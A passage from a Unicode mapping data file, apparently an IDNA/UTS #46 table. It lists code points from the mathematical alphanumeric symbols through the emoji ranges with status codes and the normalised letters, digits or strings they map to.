3,1,"f"],[119944,1,"g"],[119945,1,"h"],[119946,1,"i"],[119947,1,"j"],[119948,1,"k"],[119949,1,"l"],[119950,1,"m"],[119951,1,"n"],[119952,1,"o"],[119953,1,"p"],[119954,1,"q"],[119955,1,"r"],[119956,1,"s"],[119957,1,"t"],[119958,1,"u"],[119959,1,"v"],[119960,1,"w"],[119961,1,"x"],[119962,1,"y"],[119963,1,"z"],[119964,1,"a"],[119965,3],[119966,1,"c"],[119967,1,"d"],[[119968,119969],3],[119970,1,"g"],[[119971,119972],3],[119973,1,"j"],[119974,1,"k"],[[119975,119976],3],[119977,1,"n"],[119978,1,"o"],[119979,1,"p"],[119980,1,"q"],[119981,3],[119982,1,"s"],[119983,1,"t"],[119984,1,"u"],[119985,1,"v"],[119986,1,"w"],[119987,1,"x"],[119988,1,"y"],[119989,1,"z"],[119990,1,"a"],[119991,1,"b"],[119992,1,"c"],[119993,1,"d"],[119994,3],[119995,1,"f"],[119996,3],[119997,1,"h"],[119998,1,"i"],[119999,1,"j"],[120000,1,"k"],[120001,1,"l"],[120002,1,"m"],[120003,1,"n"],[120004,3],[120005,1,"p"],[120006,1,"q"],[120007,1,"r"],[120008,1,"s"],[120009,1,"t"],[120010,1,"u"],[120011,1,"v"],[120012,1,"w"],[120013,1,"x"],[120014,1,"y"],[120015,1,"z"],[120016,1,"a"],[120017,1,"b"],[120018,1,"c"],[120019,1,"d"],[120020,1,"e"],[120021,1,"f"],[120022,1,"g"],[120023,1,"h"],[120024,1,"i"],[120025,1,"j"],[120026,1,"k"],[120027,1,"l"],[120028,1,"m"],[120029,1,"n"],[120030,1,"o"],[120031,1,"p"],[120032,1,"q"],[120033,1,"r"],[120034,1,"s"],[120035,1,"t"],[120036,1,"u"],[120037,1,"v"],[120038,1,"w"],[120039,1,"x"],[120040,1,"y"],[120041,1,"z"],[120042,1,"a"],[120043,1,"b"],[120044,1,"c"],[120045,1,"d"],[120046,1,"e"],[120047,1,"f"],[120048,1,"g"],[120049,1,"h"],[120050,1,"i"],[120051,1,"j"],[120052,1,"k"],[120053,1,"l"],[120054,1,"m"],[120055,1,"n"],[120056,1,"o"],[120057,1,"p"],[120058,1,"q"],[120059,1,"r"],[120060,1,"s"],[120061,1,"t"],[120062,1,"u"],[120063,1,"v"],[120064,1,"w"],[120065,1,"x"],[120066,1,"y"],[120067,1,"z"],[120068,1,"a"],[120069,1,"b"],[120070,3],[120071,1,"d"],[120072,1,"e"],[120073,1,"f"],[120074,1,"g"],[[120075,120076],3],[120077,1,"j"],[120078,1,"k"],[120079,1,"l"],[120080,1,"m"],[120081,1,"n"],[120082,1,"o"],[120083,1,"p"],[120084,1,"q"],[120085,3],[120086,1,"s"],[120087,1,"t"],[120088,1,"u"],[120089,1,"v"],[120090,1,"w"],[120091,1,"x"],[120092,1,"y"],[120093,3],[120094,1,"a"],[120095,1,"b"],[120096,1,"c"],[120097,1,"d"],[120098,1,"e"],[120099,1,"f"],[120100,1,"g"],[120101,1,"h"],[120102,1,"i"],[120103,1,"j"],[120104,1,"k"],[120105,1,"l"],[120106,1,"m"],[120107,1,"n"],[120108,1,"o"],[120109,1,"p"],[120110,1,"q"],[120111,1,"r"],[120112,1,"s"],[120113,1,"t"],[120114,1,"u"],[120115,1,"v"],[120116,1,"w"],[120117,1,"x"],[120118,1,"y"],[120119,1,"z"],[120120,1,"a"],[120121,1,"b"],[120122,3],[120123,1,"d"],[120124,1,"e"],[120125,1,"f"],[120126,1,"g"],[120127,3],[120128,1,"i"],[120129,1,"j"],[120130,1,"k"],[120131,1,"l"],[120132,1,"m"],[120133,3],[120134,1,"o"],[[120135,120137],3],[120138,1,"s"],[120139,1,"t"],[120140,1,"u"],[120141,1,"v"],[120142,1,"w"],[120143,1,"x"],[120144,1,"y"],[120145,3],[120146,1,"a"],[120147,1,"b"],[120148,1,"c"],[120149,1,"d"],[120150,1,"e"],[120151,1,"f"],[120152,1,"g"],[120153,1,"h"],[120154,1,"i"],[120155,1,"j"],[120156,1,"k"],[120157,1,"l"],[120158,1,"m"],[120159,1,"n"],[120160,1,"o"],[120161,1,"p"],[120162,1,"q"],[120163,1,"r"],[120164,1,"s"],[120165,1,"t"],[120166,1,"u"],[120167,1,"v"],[120168,1,"w"],[120169,1,"x"],[120170,1,"y"],[120171,1,"z"],[120172,1,"a"],[120173,1,"b"],[120174,1,"c"],[120175,1,"d"],[120176,1,"e"],[120177,1,"f"],[120178,1,"g"],[120179,1,"h"],[120180,1,"i"],[120181,1,"j"],[120182,1,"k"],[120183,1,"l"],[120184,1,"m"],[120185,1,"n"],[120186,1,"o"],[120187,1,"p"],[120188,1,"q"],[120189,1,"r"],[120190,1,"s"],[120191,1,"t"],[120192,1,"u"],[120193,1,"v"],[120194,1,"w"],[120195,1,"x"],[120196,1,"y"],[120197,1,"z"],[120198,1,"a"],[120199,1,"b"],[120200,1,"c"],[120201,1,"d"],[120202,1,"e"],[120203,1,"f"],[120204,1,"g"],[120205,1,"h"],[120206,1,"i"],[120207,1,"j"],[120208,1,"k"],[120209,1,"l"],[120210,1,"m"],[120211,1,"n"],[120212,1,"o"],[120213,1,"p"],[120214,1,"q"],[120215,1,"r"],[120216,1,"s"],[120217,1,"t"],[120218,1,"u"],[120219,1,"v"],[120220,1,"w"],[120221,1,"x"],[120222,1,"y"],[120223,1,"z"],[120224,1,"a"],[120225,1,"b"],[120226,1,"c"],[120227,1,"d"],[120228,1,"e"],[120229,1,"f"],[120230,1,"g"],[120231,1,"h"],[120232,1,"i"],[120233,1,"j"],[120234,1,"k"],[120235,1,"l"],[120236,1,"m"],[120237,1,"n"],[120238,1,"o"],[120239,1,"p"],[120240,1,"q"],[120241,1,"r"],[120242,1,"s"],[120243,1,"t"],[120244,1,"u"],[120245,1,"v"],[120246,1,"w"],[120247,1,"x"],[120248,1,"y"],[120249,1,"z"],[120250,1,"a"],[120251,1,"b"],[120252,1,"c"],[120253,1,"d"],[120254,1,"e"],[120255,1,"f"],[120256,1,"g"],[120257,1,"h"],[120258,1,"i"],[120259,1,"j"],[120260,1,"k"],[120261,1,"l"],[120262,1,"m"],[120263,1,"n"],[120264,1,"o"],[120265,1,"p"],[120266,1,"q"],[120267,1,"r"],[120268,1,"s"],[120269,1,"t"],[120270,1,"u"],[120271,1,"v"],[120272,1,"w"],[120273,1,"x"],[120274,1,"y"],[120275,1,"z"],[120276,1,"a"],[120277,1,"b"],[120278,1,"c"],[120279,1,"d"],[120280,1,"e"],[120281,1,"f"],[120282,1,"g"],[120283,1,"h"],[120284,1,"i"],[120285,1,"j"],[120286,1,"k"],[120287,1,"l"],[120288,1,"m"],[120289,1,"n"],[120290,1,"o"],[120291,1,"p"],[120292,1,"q"],[120293,1,"r"],[120294,1,"s"],[120295,1,"t"],[120296,1,"u"],[120297,1,"v"],[120298,1,"w"],[120299,1,"x"],[120300,1,"y"],[120301,1,"z"],[120302,1,"a"],[120303,1,"b"],[120304,1,"c"],[120305,1,"d"],[120306,1,"e"],[120307,1,"f"],[120308,1,"g"],[120309,1,"h"],[120310,1,"i"],[120311,1,"j"],[120312,1,"k"],[120313,1,"l"],[120314,1,"m"],[120315,1,"n"],[120316,1,"o"],[120317,1,"p"],[120318,1,"q"],[120319,1,"r"],[120320,1,"s"],[120321,1,"t"],[120322,1,"u"],[120323,1,"v"],[120324,1,"w"],[120325,1,"x"],[120326,1,"y"],[120327,1,"z"],[120328,1,"a"],[120329,1,"b"],[120330,1,"c"],[120331,1,"d"],[120332,1,"e"],[120333,1,"f"],[120334,1,"g"],[120335,1,"h"],[120336,1,"i"],[120337,1,"j"],[120338,1,"k"],[120339,1,"l"],[120340,1,"m"],[120341,1,"n"],[120342,1,"o"],[120343,1,"p"],[120344,1,"q"],[120345,1,"r"],[120346,1,"s"],[120347,1,"t"],[120348,1,"u"],[120349,1,"v"],[120350,1,"w"],[120351,1,"x"],[120352,1,"y"],[120353,1,"z"],[120354,1,"a"],[120355,1,"b"],[120356,1,"c"],[120357,1,"d"],[120358,1,"e"],[120359,1,"f"],[120360,1,"g"],[120361,1,"h"],[120362,1,"i"],[120363,1,"j"],[120364,1,"k"],[120365,1,"l"],[120366,1,"m"],[120367,1,"n"],[120368,1,"o"],[120369,1,"p"],[120370,1,"q"],[120371,1,"r"],[120372,1,"s"],[120373,1,"t"],[120374,1,"u"],[120375,1,"v"],[120376,1,"w"],[120377,1,"x"],[120378,1,"y"],[120379,1,"z"],[120380,1,"a"],[120381,1,"b"],[120382,1,"c"],[120383,1,"d"],[120384,1,"e"],[120385,1,"f"],[120386,1,"g"],[120387,1,"h"],[120388,1,"i"],[120389,1,"j"],[120390,1,"k"],[120391,1,"l"],[120392,1,"m"],[120393,1,"n"],[120394,1,"o"],[120395,1,"p"],[120396,1,"q"],[120397,1,"r"],[120398,1,"s"],[120399,1,"t"],[120400,1,"u"],[120401,1,"v"],[120402,1,"w"],[120403,1,"x"],[120404,1,"y"],[120405,1,"z"],[120406,1,"a"],[120407,1,"b"],[120408,1,"c"],[120409,1,"d"],[120410,1,"e"],[120411,1,"f"],[120412,1,"g"],[120413,1,"h"],[120414,1,"i"],[120415,1,"j"],[120416,1,"k"],[120417,1,"l"],[120418,1,"m"],[120419,1,"n"],[120420,1,"o"],[120421,1,"p"],[120422,1,"q"],[120423,1,"r"],[120424,1,"s"],[120425,1,"t"],[120426,1,"u"],[120427,1,"v"],[120428,1,"w"],[120429,1,"x"],[120430,1,"y"],[120431,1,"z"],[120432,1,"a"],[120433,1,"b"],[120434,1,"c"],[120435,1,"d"],[120436,1,"e"],[120437,1,"f"],[120438,1,"g"],[120439,1,"h"],[120440,1,"i"],[120441,1,"j"],[120442,1,"k"],[120443,1,"l"],[120444,1,"m"],[120445,1,"n"],[120446,1,"o"],[120447,1,"p"],[120448,1,"q"],[120449,1,"r"],[120450,1,"s"],[120451,1,"t"],[120452,1,"u"],[120453,1,"v"],[120454,1,"w"],[120455,1,"x"],[120456,1,"y"],[120457,1,"z"],[120458,1,"a"],[120459,1,"b"],[120460,1,"c"],[120461,1,"d"],[120462,1,"e"],[120463,1,"f"],[120464,1,"g"],[120465,1,"h"],[120466,1,"i"],[120467,1,"j"],[120468,1,"k"],[120469,1,"l"],[120470,1,"m"],[120471,1,"n"],[120472,1,"o"],[120473,1,"p"],[120474,1,"q"],[120475,1,"r"],[120476,1,"s"],[120477,1,"t"],[120478,1,"u"],[120479,1,"v"],[120480,1,"w"],[120481,1,"x"],[120482,1,"y"],[120483,1,"z"],[120484,1,"ı"],[120485,1,"ȷ"],[[120486,120487],3],[120488,1,"α"],[120489,1,"β"],[120490,1,"γ"],[120491,1,"δ"],[120492,1,"ε"],[120493,1,"ζ"],[120494,1,"η"],[120495,1,"θ"],[120496,1,"ι"],[120497,1,"κ"],[120498,1,"λ"],[120499,1,"μ"],[120500,1,"ν"],[120501,1,"ξ"],[120502,1,"ο"],[120503,1,"π"],[120504,1,"ρ"],[120505,1,"θ"],[120506,1,"σ"],[120507,1,"τ"],[120508,1,"υ"],[120509,1,"φ"],[120510,1,"χ"],[120511,1,"ψ"],[120512,1,"ω"],[120513,1,"∇"],[120514,1,"α"],[120515,1,"β"],[120516,1,"γ"],[120517,1,"δ"],[120518,1,"ε"],[120519,1,"ζ"],[120520,1,"η"],[120521,1,"θ"],[120522,1,"ι"],[120523,1,"κ"],[120524,1,"λ"],[120525,1,"μ"],[120526,1,"ν"],[120527,1,"ξ"],[120528,1,"ο"],[120529,1,"π"],[120530,1,"ρ"],[[120531,120532],1,"σ"],[120533,1,"τ"],[120534,1,"υ"],[120535,1,"φ"],[120536,1,"χ"],[120537,1,"ψ"],[120538,1,"ω"],[120539,1,"∂"],[120540,1,"ε"],[120541,1,"θ"],[120542,1,"κ"],[120543,1,"φ"],[120544,1,"ρ"],[120545,1,"π"],[120546,1,"α"],[120547,1,"β"],[120548,1,"γ"],[120549,1,"δ"],[120550,1,"ε"],[120551,1,"ζ"],[120552,1,"η"],[120553,1,"θ"],[120554,1,"ι"],[120555,1,"κ"],[120556,1,"λ"],[120557,1,"μ"],[120558,1,"ν"],[120559,1,"ξ"],[120560,1,"ο"],[120561,1,"π"],[120562,1,"ρ"],[120563,1,"θ"],[120564,1,"σ"],[120565,1,"τ"],[120566,1,"υ"],[120567,1,"φ"],[120568,1,"χ"],[120569,1,"ψ"],[120570,1,"ω"],[120571,1,"∇"],[120572,1,"α"],[120573,1,"β"],[120574,1,"γ"],[120575,1,"δ"],[120576,1,"ε"],[120577,1,"ζ"],[120578,1,"η"],[120579,1,"θ"],[120580,1,"ι"],[120581,1,"κ"],[120582,1,"λ"],[120583,1,"μ"],[120584,1,"ν"],[120585,1,"ξ"],[120586,1,"ο"],[120587,1,"π"],[120588,1,"ρ"],[[120589,120590],1,"σ"],[120591,1,"τ"],[120592,1,"υ"],[120593,1,"φ"],[120594,1,"χ"],[120595,1,"ψ"],[120596,1,"ω"],[120597,1,"∂"],[120598,1,"ε"],[120599,1,"θ"],[120600,1,"κ"],[120601,1,"φ"],[120602,1,"ρ"],[120603,1,"π"],[120604,1,"α"],[120605,1,"β"],[120606,1,"γ"],[120607,1,"δ"],[120608,1,"ε"],[120609,1,"ζ"],[120610,1,"η"],[120611,1,"θ"],[120612,1,"ι"],[120613,1,"κ"],[120614,1,"λ"],[120615,1,"μ"],[120616,1,"ν"],[120617,1,"ξ"],[120618,1,"ο"],[120619,1,"π"],[120620,1,"ρ"],[120621,1,"θ"],[120622,1,"σ"],[120623,1,"τ"],[120624,1,"υ"],[120625,1,"φ"],[120626,1,"χ"],[120627,1,"ψ"],[120628,1,"ω"],[120629,1,"∇"],[120630,1,"α"],[120631,1,"β"],[120632,1,"γ"],[120633,1,"δ"],[120634,1,"ε"],[120635,1,"ζ"],[120636,1,"η"],[120637,1,"θ"],[120638,1,"ι"],[120639,1,"κ"],[120640,1,"λ"],[120641,1,"μ"],[120642,1,"ν"],[120643,1,"ξ"],[120644,1,"ο"],[120645,1,"π"],[120646,1,"ρ"],[[120647,120648],1,"σ"],[120649,1,"τ"],[120650,1,"υ"],[120651,1,"φ"],[120652,1,"χ"],[120653,1,"ψ"],[120654,1,"ω"],[120655,1,"∂"],[120656,1,"ε"],[120657,1,"θ"],[120658,1,"κ"],[120659,1,"φ"],[120660,1,"ρ"],[120661,1,"π"],[120662,1,"α"],[120663,1,"β"],[120664,1,"γ"],[120665,1,"δ"],[120666,1,"ε"],[120667,1,"ζ"],[120668,1,"η"],[120669,1,"θ"],[120670,1,"ι"],[120671,1,"κ"],[120672,1,"λ"],[120673,1,"μ"],[120674,1,"ν"],[120675,1,"ξ"],[120676,1,"ο"],[120677,1,"π"],[120678,1,"ρ"],[120679,1,"θ"],[120680,1,"σ"],[120681,1,"τ"],[120682,1,"υ"],[120683,1,"φ"],[120684,1,"χ"],[120685,1,"ψ"],[120686,1,"ω"],[120687,1,"∇"],[120688,1,"α"],[120689,1,"β"],[120690,1,"γ"],[120691,1,"δ"],[120692,1,"ε"],[120693,1,"ζ"],[120694,1,"η"],[120695,1,"θ"],[120696,1,"ι"],[120697,1,"κ"],[120698,1,"λ"],[120699,1,"μ"],[120700,1,"ν"],[120701,1,"ξ"],[120702,1,"ο"],[120703,1,"π"],[120704,1,"ρ"],[[120705,120706],1,"σ"],[120707,1,"τ"],[120708,1,"υ"],[120709,1,"φ"],[120710,1,"χ"],[120711,1,"ψ"],[120712,1,"ω"],[120713,1,"∂"],[120714,1,"ε"],[120715,1,"θ"],[120716,1,"κ"],[120717,1,"φ"],[120718,1,"ρ"],[120719,1,"π"],[120720,1,"α"],[120721,1,"β"],[120722,1,"γ"],[120723,1,"δ"],[120724,1,"ε"],[120725,1,"ζ"],[120726,1,"η"],[120727,1,"θ"],[120728,1,"ι"],[120729,1,"κ"],[120730,1,"λ"],[120731,1,"μ"],[120732,1,"ν"],[120733,1,"ξ"],[120734,1,"ο"],[120735,1,"π"],[120736,1,"ρ"],[120737,1,"θ"],[120738,1,"σ"],[120739,1,"τ"],[120740,1,"υ"],[120741,1,"φ"],[120742,1,"χ"],[120743,1,"ψ"],[120744,1,"ω"],[120745,1,"∇"],[120746,1,"α"],[120747,1,"β"],[120748,1,"γ"],[120749,1,"δ"],[120750,1,"ε"],[120751,1,"ζ"],[120752,1,"η"],[120753,1,"θ"],[120754,1,"ι"],[120755,1,"κ"],[120756,1,"λ"],[120757,1,"μ"],[120758,1,"ν"],[120759,1,"ξ"],[120760,1,"ο"],[120761,1,"π"],[120762,1,"ρ"],[[120763,120764],1,"σ"],[120765,1,"τ"],[120766,1,"υ"],[120767,1,"φ"],[120768,1,"χ"],[120769,1,"ψ"],[120770,1,"ω"],[120771,1,"∂"],[120772,1,"ε"],[120773,1,"θ"],[120774,1,"κ"],[120775,1,"φ"],[120776,1,"ρ"],[120777,1,"π"],[[120778,120779],1,"ϝ"],[[120780,120781],3],[120782,1,"0"],[120783,1,"1"],[120784,1,"2"],[120785,1,"3"],[120786,1,"4"],[120787,1,"5"],[120788,1,"6"],[120789,1,"7"],[120790,1,"8"],[120791,1,"9"],[120792,1,"0"],[120793,1,"1"],[120794,1,"2"],[120795,1,"3"],[120796,1,"4"],[120797,1,"5"],[120798,1,"6"],[120799,1,"7"],[120800,1,"8"],[120801,1,"9"],[120802,1,"0"],[120803,1,"1"],[120804,1,"2"],[120805,1,"3"],[120806,1,"4"],[120807,1,"5"],[120808,1,"6"],[120809,1,"7"],[120810,1,"8"],[120811,1,"9"],[120812,1,"0"],[120813,1,"1"],[120814,1,"2"],[120815,1,"3"],[120816,1,"4"],[120817,1,"5"],[120818,1,"6"],[120819,1,"7"],[120820,1,"8"],[120821,1,"9"],[120822,1,"0"],[120823,1,"1"],[120824,1,"2"],[120825,1,"3"],[120826,1,"4"],[120827,1,"5"],[120828,1,"6"],[120829,1,"7"],[120830,1,"8"],[120831,1,"9"],[[120832,121343],2],[[121344,121398],2],[[121399,121402],2],[[121403,121452],2],[[121453,121460],2],[121461,2],[[121462,121475],2],[121476,2],[[121477,121483],2],[[121484,121498],3],[[121499,121503],2],[121504,3],[[121505,121519],2],[[121520,122623],3],[[122624,122654],2],[[122655,122660],3],[[122661,122666],2],[[122667,122879],3],[[122880,122886],2],[122887,3],[[122888,122904],2],[[122905,122906],3],[[122907,122913],2],[122914,3],[[122915,122916],2],[122917,3],[[122918,122922],2],[[122923,122927],3],[122928,1,"а"],[122929,1,"б"],[122930,1,"в"],[122931,1,"г"],[122932,1,"д"],[122933,1,"е"],[122934,1,"ж"],[122935,1,"з"],[122936,1,"и"],[122937,1,"к"],[122938,1,"л"],[122939,1,"м"],[122940,1,"о"],[122941,1,"п"],[122942,1,"р"],[122943,1,"с"],[122944,1,"т"],[122945,1,"у"],[122946,1,"ф"],[122947,1,"х"],[122948,1,"ц"],[122949,1,"ч"],[122950,1,"ш"],[122951,1,"ы"],[122952,1,"э"],[122953,1,"ю"],[122954,1,"ꚉ"],[122955,1,"ә"],[122956,1,"і"],[122957,1,"ј"],[122958,1,"ө"],[122959,1,"ү"],[122960,1,"ӏ"],[122961,1,"а"],[122962,1,"б"],[122963,1,"в"],[122964,1,"г"],[122965,1,"д"],[122966,1,"е"],[122967,1,"ж"],[122968,1,"з"],[122969,1,"и"],[122970,1,"к"],[122971,1,"л"],[122972,1,"о"],[122973,1,"п"],[122974,1,"с"],[122975,1,"у"],[122976,1,"ф"],[122977,1,"х"],[122978,1,"ц"],[122979,1,"ч"],[122980,1,"ш"],[122981,1,"ъ"],[122982,1,"ы"],[122983,1,"ґ"],[122984,1,"і"],[122985,1,"ѕ"],[122986,1,"џ"],[122987,1,"ҫ"],[122988,1,"ꙑ"],[122989,1,"ұ"],[[122990,123022],3],[123023,2],[[123024,123135],3],[[123136,123180],2],[[123181,123183],3],[[123184,123197],2],[[123198,123199],3],[[123200,123209],2],[[123210,123213],3],[123214,2],[123215,2],[[123216,123535],3],[[123536,123566],2],[[123567,123583],3],[[123584,123641],2],[[123642,123646],3],[123647,2],[[123648,124111],3],[[124112,124153],2],[[124154,124895],3],[[124896,124902],2],[124903,3],[[124904,124907],2],[124908,3],[[124909,124910],2],[124911,3],[[124912,124926],2],[124927,3],[[124928,125124],2],[[125125,125126],3],[[125127,125135],2],[[125136,125142],2],[[125143,125183],3],[125184,1,"𞤢"],[125185,1,"𞤣"],[125186,1,"𞤤"],[125187,1,"𞤥"],[125188,1,"𞤦"],[125189,1,"𞤧"],[125190,1,"𞤨"],[125191,1,"𞤩"],[125192,1,"𞤪"],[125193,1,"𞤫"],[125194,1,"𞤬"],[125195,1,"𞤭"],[125196,1,"𞤮"],[125197,1,"𞤯"],[125198,1,"𞤰"],[125199,1,"𞤱"],[125200,1,"𞤲"],[125201,1,"𞤳"],[125202,1,"𞤴"],[125203,1,"𞤵"],[125204,1,"𞤶"],[125205,1,"𞤷"],[125206,1,"𞤸"],[125207,1,"𞤹"],[125208,1,"𞤺"],[125209,1,"𞤻"],[125210,1,"𞤼"],[125211,1,"𞤽"],[125212,1,"𞤾"],[125213,1,"𞤿"],[125214,1,"𞥀"],[125215,1,"𞥁"],[125216,1,"𞥂"],[125217,1,"𞥃"],[[125218,125258],2],[125259,2],[[125260,125263],3],[[125264,125273],2],[[125274,125277],3],[[125278,125279],2],[[125280,126064],3],[[126065,126132],2],[[126133,126208],3],[[126209,126269],2],[[126270,126463],3],[126464,1,"ا"],[126465,1,"ب"],[126466,1,"ج"],[126467,1,"د"],[126468,3],[126469,1,"و"],[126470,1,"ز"],[126471,1,"ح"],[126472,1,"ط"],[126473,1,"ي"],[126474,1,"ك"],[126475,1,"ل"],[126476,1,"م"],[126477,1,"ن"],[126478,1,"س"],[126479,1,"ع"],[126480,1,"ف"],[126481,1,"ص"],[126482,1,"ق"],[126483,1,"ر"],[126484,1,"ش"],[126485,1,"ت"],[126486,1,"ث"],[126487,1,"خ"],[126488,1,"ذ"],[126489,1,"ض"],[126490,1,"ظ"],[126491,1,"غ"],[126492,1,"ٮ"],[126493,1,"ں"],[126494,1,"ڡ"],[126495,1,"ٯ"],[126496,3],[126497,1,"ب"],[126498,1,"ج"],[126499,3],[126500,1,"ه"],[[126501,126502],3],[126503,1,"ح"],[126504,3],[126505,1,"ي"],[126506,1,"ك"],[126507,1,"ل"],[126508,1,"م"],[126509,1,"ن"],[126510,1,"س"],[126511,1,"ع"],[126512,1,"ف"],[126513,1,"ص"],[126514,1,"ق"],[126515,3],[126516,1,"ش"],[126517,1,"ت"],[126518,1,"ث"],[126519,1,"خ"],[126520,3],[126521,1,"ض"],[126522,3],[126523,1,"غ"],[[126524,126529],3],[126530,1,"ج"],[[126531,126534],3],[126535,1,"ح"],[126536,3],[126537,1,"ي"],[126538,3],[126539,1,"ل"],[126540,3],[126541,1,"ن"],[126542,1,"س"],[126543,1,"ع"],[126544,3],[126545,1,"ص"],[126546,1,"ق"],[126547,3],[126548,1,"ش"],[[126549,126550],3],[126551,1,"خ"],[126552,3],[126553,1,"ض"],[126554,3],[126555,1,"غ"],[126556,3],[126557,1,"ں"],[126558,3],[126559,1,"ٯ"],[126560,3],[126561,1,"ب"],[126562,1,"ج"],[126563,3],[126564,1,"ه"],[[126565,126566],3],[126567,1,"ح"],[126568,1,"ط"],[126569,1,"ي"],[126570,1,"ك"],[126571,3],[126572,1,"م"],[126573,1,"ن"],[126574,1,"س"],[126575,1,"ع"],[126576,1,"ف"],[126577,1,"ص"],[126578,1,"ق"],[126579,3],[126580,1,"ش"],[126581,1,"ت"],[126582,1,"ث"],[126583,1,"خ"],[126584,3],[126585,1,"ض"],[126586,1,"ظ"],[126587,1,"غ"],[126588,1,"ٮ"],[126589,3],[126590,1,"ڡ"],[126591,3],[126592,1,"ا"],[126593,1,"ب"],[126594,1,"ج"],[126595,1,"د"],[126596,1,"ه"],[126597,1,"و"],[126598,1,"ز"],[126599,1,"ح"],[126600,1,"ط"],[126601,1,"ي"],[126602,3],[126603,1,"ل"],[126604,1,"م"],[126605,1,"ن"],[126606,1,"س"],[126607,1,"ع"],[126608,1,"ف"],[126609,1,"ص"],[126610,1,"ق"],[126611,1,"ر"],[126612,1,"ش"],[126613,1,"ت"],[126614,1,"ث"],[126615,1,"خ"],[126616,1,"ذ"],[126617,1,"ض"],[126618,1,"ظ"],[126619,1,"غ"],[[126620,126624],3],[126625,1,"ب"],[126626,1,"ج"],[126627,1,"د"],[126628,3],[126629,1,"و"],[126630,1,"ز"],[126631,1,"ح"],[126632,1,"ط"],[126633,1,"ي"],[126634,3],[126635,1,"ل"],[126636,1,"م"],[126637,1,"ن"],[126638,1,"س"],[126639,1,"ع"],[126640,1,"ف"],[126641,1,"ص"],[126642,1,"ق"],[126643,1,"ر"],[126644,1,"ش"],[126645,1,"ت"],[126646,1,"ث"],[126647,1,"خ"],[126648,1,"ذ"],[126649,1,"ض"],[126650,1,"ظ"],[126651,1,"غ"],[[126652,126703],3],[[126704,126705],2],[[126706,126975],3],[[126976,127019],2],[[127020,127023],3],[[127024,127123],2],[[127124,127135],3],[[127136,127150],2],[[127151,127152],3],[[127153,127166],2],[127167,2],[127168,3],[[127169,127183],2],[127184,3],[[127185,127199],2],[[127200,127221],2],[[127222,127231],3],[127232,3],[127233,5,"0,"],[127234,5,"1,"],[127235,5,"2,"],[127236,5,"3,"],[127237,5,"4,"],[127238,5,"5,"],[127239,5,"6,"],[127240,5,"7,"],[127241,5,"8,"],[127242,5,"9,"],[[127243,127244],2],[[127245,127247],2],[127248,5,"(a)"],[127249,5,"(b)"],[127250,5,"(c)"],[127251,5,"(d)"],[127252,5,"(e)"],[127253,5,"(f)"],[127254,5,"(g)"],[127255,5,"(h)"],[127256,5,"(i)"],[127257,5,"(j)"],[127258,5,"(k)"],[127259,5,"(l)"],[127260,5,"(m)"],[127261,5,"(n)"],[127262,5,"(o)"],[127263,5,"(p)"],[127264,5,"(q)"],[127265,5,"(r)"],[127266,5,"(s)"],[127267,5,"(t)"],[127268,5,"(u)"],[127269,5,"(v)"],[127270,5,"(w)"],[127271,5,"(x)"],[127272,5,"(y)"],[127273,5,"(z)"],[127274,1,"〔s〕"],[127275,1,"c"],[127276,1,"r"],[127277,1,"cd"],[127278,1,"wz"],[127279,2],[127280,1,"a"],[127281,1,"b"],[127282,1,"c"],[127283,1,"d"],[127284,1,"e"],[127285,1,"f"],[127286,1,"g"],[127287,1,"h"],[127288,1,"i"],[127289,1,"j"],[127290,1,"k"],[127291,1,"l"],[127292,1,"m"],[127293,1,"n"],[127294,1,"o"],[127295,1,"p"],[127296,1,"q"],[127297,1,"r"],[127298,1,"s"],[127299,1,"t"],[127300,1,"u"],[127301,1,"v"],[127302,1,"w"],[127303,1,"x"],[127304,1,"y"],[127305,1,"z"],[127306,1,"hv"],[127307,1,"mv"],[127308,1,"sd"],[127309,1,"ss"],[127310,1,"ppv"],[127311,1,"wc"],[[127312,127318],2],[127319,2],[[127320,127326],2],[127327,2],[[127328,127337],2],[127338,1,"mc"],[127339,1,"md"],[127340,1,"mr"],[[127341,127343],2],[[127344,127352],2],[127353,2],[127354,2],[[127355,127356],2],[[127357,127358],2],[127359,2],[[127360,127369],2],[[127370,127373],2],[[127374,127375],2],[127376,1,"dj"],[[127377,127386],2],[[127387,127404],2],[127405,2],[[127406,127461],3],[[127462,127487],2],[127488,1,"ほか"],[127489,1,"ココ"],[127490,1,"サ"],[[127491,127503],3],[127504,1,"手"],[127505,1,"字"],[127506,1,"双"],[127507,1,"デ"],[127508,1,"二"],[127509,1,"多"],[127510,1,"解"],[127511,1,"天"],[127512,1,"交"],[127513,1,"映"],[127514,1,"無"],[127515,1,"料"],[127516,1,"前"],[127517,1,"後"],[127518,1,"再"],[127519,1,"新"],[127520,1,"初"],[127521,1,"終"],[127522,1,"生"],[127523,1,"販"],[127524,1,"声"],[127525,1,"吹"],[127526,1,"演"],[127527,1,"投"],[127528,1,"捕"],[127529,1,"一"],[127530,1,"三"],[127531,1,"遊"],[127532,1,"左"],[127533,1,"中"],[127534,1,"右"],[127535,1,"指"],[127536,1,"走"],[127537,1,"打"],[127538,1,"禁"],[127539,1,"空"],[127540,1,"合"],[127541,1,"満"],[127542,1,"有"],[127543,1,"月"],[127544,1,"申"],[127545,1,"割"],[127546,1,"営"],[127547,1,"配"],[[127548,127551],3],[127552,1,"〔本〕"],[127553,1,"〔三〕"],[127554,1,"〔二〕"],[127555,1,"〔安〕"],[127556,1,"〔点〕"],[127557,1,"〔打〕"],[127558,1,"〔盗〕"],[127559,1,"〔勝〕"],[127560,1,"〔敗〕"],[[127561,127567],3],[127568,1,"得"],[127569,1,"可"],[[127570,127583],3],[[127584,127589],2],[[127590,127743],3],[[127744,127776],2],[[127777,127788],2],[[127789,127791],2],[[127792,127797],2],[127798,2],[[127799,127868],2],[127869,2],[[127870,127871],2],[[127872,127891],2],[[127892,127903],2],[[127904,127940],2],[127941,2],[[127942,127946],2],[[127947,127950],2],[[127951,127955],2],[[127956,127967],2],[[127968,127984],2],[[127985,127991],2],[[127992,127999],2],[[128000,128062],2],[128063,2],[128064,2],[128065,2],[[128066,128247],2],[128248,2],[[128249,128252],2],[[128253,128254],2],[128255,2],[[128256,128317],2],[[128318,128319],2],[[128320,128323],2],[[128324,128330],2],[[128331,128335],2],[[128336,128359],2],[[128360,128377],2],[128378,2],[[128379,128419],2],[128420,2],[[128421,128506],2],[[128507,128511],2],[128512,2],[[128513,128528],2],[128529,2],[[128530,128532],2],[128533,2],[128534,2],[128535,2],[128536,2],[128537,2],[128538,2],[128539,2],[[128540,128542],2],[128543,2],[[128544,128549],2],[[128550,128551],2],[[128552,128555],2],[128556,2],[128557,2],[[128558,128559],2],[[128560,128563],2],[128564,2],[[128565,128576],2],[[128577,128578],2],[[128579,128580],2],[